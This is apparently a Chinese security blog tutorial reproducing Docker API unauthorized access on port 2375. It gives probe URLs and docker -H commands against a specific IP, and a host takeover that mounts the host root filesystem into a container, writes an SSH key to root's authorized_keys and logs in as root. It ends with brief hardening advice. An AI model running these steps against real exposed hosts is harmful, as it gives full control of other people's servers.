【云安全】云原生-Docker(六)Docker API 未授权访问
Docker API 未授权访问 是一个非常严重的安全漏洞,可能导致严重的安全风险。
什么是 Docker API ?
Docker API 是 Docker 容器平台提供的一组 RESTful API,用于与 Docker 守护程序进行通信和管理 Docker 容器。通过 Docker API,用户可以通过 HTTP 请求来执行诸如创建、启动、停止、删除容器等操作。同时,Docker API 还允许用户管理镜像、网络、卷等 Docker 资源。用户可以使用任何支持 HTTP 请求的工具或库来访问 Docker API,从而实现与 Docker 容器平台的集成和自动化管理。
Docker API 未授权访问
漏洞背景
Docker 守护进程(Docker Daemon)默认监听在 Unix 套接字(`unix:///var/run/docker.sock`)上,但有时为了方便管理,用户会将 Docker API 暴露在 TCP 端口(如 `2375` 或 `2376`)上。如果未正确配置访问控制(如未启用 TLS 加密和认证),攻击者可以直接访问 Docker API,从而完全控制 Docker 主机及其容器。
漏洞复现
1、快速搭建环境
dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375
如果出现如下报错,表明 Docker 守护进程在启动时失败了,原因是 docker 守护进程已经在运行

停止进程,重新执行刚才的命令,环境搭建成功
#1、确认 Docker 守护进程是否正在运行
ps aux | grep dockerd
#2、如果正在运行,先停止它
sudo systemctl stop docker

2、浏览器访问,这样即存在 Docker API 未授权访问漏洞

常见探测路径
http://39.105.123.35:2375/version
http://39.105.123.35:2375/info
http://39.105.123.35:2375/images/json
http://39.105.123.35:2375/containers/json
3、攻击者便可以远程通过Docker客户端连接,以下为常见操作
#列出所有容器
docker -H 39.105.123.35 ps -a
#查看镜像
docker -H 39.105.123.35 images
#拉取镜像
docker -H 39.105.123.35 pull ubuntu
#停止一个已经运行的容器
docker -H 39.105.123.35 stop c198868f6660
#删除容器
docker -H 39.105.123.35 rm c198868f6660
#进入容器
docker -H 39.105.123.35 exec -it 08d28346ff2d /bin/bash

4、写公钥获取shell
#生成公钥
ssh-keygen -t rsa
#查看生成的公钥
cat /root/.ssh/id_rsa.pub
#运行一个容器挂载宿主机的根目录到容器/mnt目录
docker -H tcp://39.105.123.35 run -it -v /:/mnt --entrypoint /bin/bash nginx
#写入公钥到宿主机
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBA/ZttXREVO+V615UhA2GoQvfmy1JnyJ0eqPnDlAyMxTi9Jahr0IBzqfxk+6hZzdy1a22YwnAOYnSvjkpR8eOYnxb0UoVmXpWMRNqW34v8liJGbc6m1Y5FsottqZfZVRe1UzfvuuOPnUW+oboqT5SvGSH0EXKiQoNFy4fafxHv2mO5E3roac1G1CbA/oPhbnFzFy8qcYjpc1BwSYG60+0IUutX+j2GasXFsieHKyV9U6a9vWLW4OkNUjCnzc/NEbgP/JG7t19NOHrjp4+IA7MGoCfui6G7j8a+PKslJG1hKu/B6frVfWNHVMQkBcmBxZtcmnCxeu+e10YiBtEPi+7 root@master-1" > /mnt/root/.ssh/authorized_keys

5、容器逃逸:连接目标主机获取shell
ssh root@39.105.123.35 -i id_rsa

总结
Docker API 未授权访问是一个高危漏洞,可能导致容器逃逸、数据泄露、恶意软件部署等严重后果。通过正确配置 TLS 加密、访问控制和防火墙规则,可以有效降低风险。同时,建议定期进行安全审计和漏洞扫描,确保 Docker 环境的安全性。
相关文章:
【云安全】云原生-Docker(六)Docker API 未授权访问
Docker API 未授权访问 是一个非常严重的安全漏洞,可能导致严重的安全风险。 什么是 Docker API ? Docker API 是 Docker 容器平台提供的一组 RESTful API,用于与 Docker 守护程序进行通信和管理 Docker 容器。通过 Docker API,…...
【人工智能顶刊合集】CCF-A/B/C类推荐所有期刊目录,中科院1区审稿极速,81天录用!
本期盘点【人工智能】领域CCF-A/B/C类中科院1-2区期刊最新影响因子、分区、审稿周期参考! CCF-A类 Artificial Intelligence • 影响因子:5.1 • 期刊分区:JCR1区,中科院2区 • 年发文量:126 • 自引率࿱…...
C#实战:基于腾讯云大模型知识引擎原子能力提供的文档解析API快速提取图片信息为MD文档
目录 一、大模型知识引擎 LKE介绍 1.1 如何开通服务? 1.2 大模型知识引擎组成 二、案例实战 2.1、创建项目 2.2、引入腾讯大模型知识引擎 LKE调用SDK依赖库 2.3、代码编写 2.4、界面设计 三、总结 今天借助腾讯云大模型知识引擎原子能力提供的文档解析API快速提取图片…...
第7章_将应用程序与 Keycloak 集成
将应用程序与 Keycloak 集成 到目前为止,您已经了解了 Keycloak 中的主要概念和配置选项。在本章中,您将学习如何应用它们,以便您可以配置您的应用程序并将它们与 Keycloak 集成。 通过选定的集成场景和编码示例,您将根据应用程…...
kotlin的lateinit声明 的变量可能为null吗?
kotlin的lateinit声明 的变量可能为null吗? DeepSeek R1 思考 26 秒 思考过程 嗯,用户问的是Kotlin中的lateinit变量是否可能为null。首先,我需要回顾一下lateinit的作用和特性。lateinit用于延迟初始化一个非空类型的变量,这样…...
千峰React:案例一
做这个案例捏 因为需要用到样式,所以创建一个样式文件: //29_实战.module.css .active{text-decoration:line-through } 然后创建jsx文件,修改main文件:导入Todos,写入Todos组件 import { StrictMode } from react …...
ChatGPT入驻Safari,AI搜索时代加速到来
2月25日,人工智能领域巨头OpenAI宣布了一项重磅更新:为其广受欢迎的ChatGPT应用新增Safari浏览器扩展功能,并支持用户将ChatGPT设置为Safari地址栏的默认搜索引擎。这一举措标志着OpenAI在将ChatGPT整合进用户日常网络浏览体验方面迈出了重要…...
协方差(Covariance)与得分函数:从Fisher信息矩阵看统计关联
协方差与得分函数:从Fisher信息矩阵看统计关联 协方差(Covariance)是统计学中一个基础但强大的概念,它描述了两个随机变量之间的关系。在Fisher信息矩阵中,协方差以一种特别的形式出现:得分函数的协方差。…...
【错误记录】Arrays.asList 的坑
文章目录 概要原因小结 概要 最近在写一个需求的时候用到了这个方法生成一个 List,接着再往里面添加数据的时候就报错了,比如下面的例子。 public class Main {public static void main(String[] args) {List<Integer> res Arrays.asList(1, 2,…...
JConsole远程连接错误解决
个人博客地址:JConsole远程连接错误解决 | 一张假钞的真实世界 程序启动命令及参数如下: $ java -Dcom.sent.jmxremote.sslfalse -jar math-game.jar 防火墙已经放开30000端口访问,如下: $ telnet 192.168.72.156 30000 Tryin…...
CineMaster: 用于电影文本到视频生成的 3D 感知且可控的框架。
CineMaster是一种 3D 感知且可控的文本到视频生成方法允许用户在 3D 空间中联合操纵物体和相机,以创作高质量的电影视频。 相关链接 论文:cinemaster-dev.github.io 论文介绍 CineMaster是一种用于 3D 感知和可控文本到视频生成的新型框架。目标是让用…...
解决后端跨域问题
目录 一、什么是跨域问题? 1、跨域问题的定义 2、举例 3、为什么会有跨域问题的存在? 二、解决跨域问题 1、新建配置类 2、编写代码 三、结语 一、什么是跨域问题? 1、跨域问题的定义 跨域问题(Cross-Origin Resource Sh…...
防爆手机科普:与普通手机的区别?在危险作业场景扮演什么角色?
在易燃易爆的工业环境中,如石油化工、矿山开采等领域,一款具备特殊安全性能的通讯工具显得尤为重要。这就是我们今天要深入探讨的主题——防爆手机。那么,什么是防爆手机?它与普通手机有何区别?防爆手机在这些危险作业…...
12.MySQL版题目设计|创建用户并赋权|MySQLWorkbench创建表结构|测试录题功能(mysql)
在数据库中设计可以远程登陆的MySQL用户,并给他赋权 oj_client设计表结构 数据库:oj, 表:oj_questions开始编码 连接访问数据库 创建用户并赋权 mysql -uroot -p进入mysql use mysql;select User, Host from user;create user…...
鸿蒙-状态管理V2其他方法
文章目录 前言makeObservedgetTargetObservedV2的类实例不支持JSON.stringify序列化双向绑定 前言 除了之前介绍的状态管理装饰器,在 V2 中还有其他新增的方法。 makeObserved 开发过程中我们经常会用到从服务器获取到数据(一般是 json 字符串),转化为…...
Linux基础30-C语言篇之冒泡排序【入门级】
数组的典型应用:冒泡排序 向后冒泡 思想: 一次只排好一个数,针对n个数,最差情况需要n-1次就可以排好每次排序将相邻数据两两比较,将较大或者较小的数据向后交换,等所有数据比较完成,较大或者较…...
FFmpeg+vvenc实现H.266的视频编解码教程
Linux系统:FFmpegvvenc实现H.266的视频编解码教程(视频压缩) 关键网址 ffmpeg目前支持libvvenc,因此配置好libvvenc只会在一些make、sudo make install命令时遇到问题,例如默认安装或配置路径指定错误、ffmpeg版本、v…...
0x01 html和css
css 对于三种css使用方式: 第一种:行内样式 <span style"color: grey;">2024年05月15日 20:07</span>第二种:内部样式 <!DOCTYPE html> <html lang"en"> <head>...<style>span{…...
【大模型】量化、剪枝、蒸馏
大模型的量化、剪枝和蒸馏是三种常用的模型优化技术,旨在减少模型的复杂性,降低计算资源消耗,并加速推理过程。下面是每种技术的详细介绍: 1. 量化(Quantization) 量化是将浮点数表示的模型参数ÿ…...
Imagination GPU 3D Graphics Wrokload
本次分享Imagination GPU 的3D 图像处理负载流程。 总的分为两个阶段 第一阶段:Geometry Processing Phase 1.Input Assembly 输入装配。读取原始图元 2.Vertex Shading 顶点着色。对单个顶点输入运行shader 3.Geometry Shading 几何着色。对所有原始数据&…...
excel单、双字节字符转换函数(中英文输入法符号转换)
在Excel中通常使用函数WIDECHAR和ASC来实现单、双字节字符之间的转换。其中 WIDECHAR函数将所有的字符转换为双字节,ASC函数将所有的字符转换为单字节 首先来解释一下单双字节的含义。单字节一般对应英文输入法的输入,如英文字母,英文输入法…...
湘潭大学计算机复试详细攻略(调剂)
一,写在前面的话 ① 首先,能完成考试初试来到这里的都是勇士。不管结果如何,不管成绩如何。我都在这里真心的祝福你以后一帆风顺。 ② 目前学历贬值严重,如果是成绩不理想的话,我建议能工作就去工作,工作不…...
如何看待 Kaiming He 最新提出的 Fractal Generative Models ?
何恺明团队提出的分形生成模型(Fractal Generative Models) 引发了广泛关注,其核心思想是通过递归调用生成模型模块构建自相似结构,类似数学中的分形概念(如雪花结构),从而高效生成高分辨率数据(如图像)。 Fractal Generative Models即分形生成模型,是一种新型的生成…...
AOP进阶-04.切入点表达式-@annotation
一.annotation注解 我们在最后一个切入点表达式中要匹配多个无规则的方法,这样的写法有些冗余了。而annotation注解就是来解决这一问题的。 annotation注解使用特定的注解来匹配方法。我们首先自定义一个注解,该注解就相当于一个标签,目标对…...
C高级(shell)
思维导图...
通过指针传递给函数
在 C 语言中,除了结构体,还有多种数据类型可以通过指针传递给函数,以下为你详细介绍: 1. 基本数据类型 整数类型 像 int、short、long 等整数类型都能通过指针传递给函数。这种方式常用于函数需要修改调用者中整数变量的值。 收…...
Ubuntu20.04之VNC的安装使用与常见问题
Ubuntu20.04之VNC的安装与使用 安装图形桌面选择安装gnome桌面选择安装xface桌面 VNC-Server安装配置开机自启 VNC Clientroot用户无法登入问题临时方案永久方案 安装图形桌面 Ubuntu20.04主流的图形桌面有gnome和xface两种,两种桌面的安装方式我都会写,…...
15.5 基于 RetrievalQA 的销售话术增强系统实战:构建智能销售大脑
基于 RetrievalQA 的销售话术增强系统实战:构建智能销售大脑 关键词:RetrievalQA 应用实战、销售知识增强、语义检索优化、上下文感知问答、多源知识融合 1. RetrievalQA 技术原理与销售场景适配 1.1 RetrievalQA 核心工作机制 #mermaid-svg-VL2yIusgl4oprXUr {font-family…...
Vue 刷新当前组件的5种方式
一,使用 location.reload() 这是最直接的方法,它会像用户点击浏览器的刷新按钮一样重载页面。 location.reload();二,使用路由刷新当前页面 如果当前组件是通过路由加载的,可以通过路由的 push 方法重新加载当前路由。 this.$…...
Python 科学计算
🧑 博主简介:CSDN博客专家,历代文学网(PC端可以访问:https://literature.sinhy.com/#/literature?__c1000,移动端可微信小程序搜索“历代文学”)总架构师,15年工作经验,…...
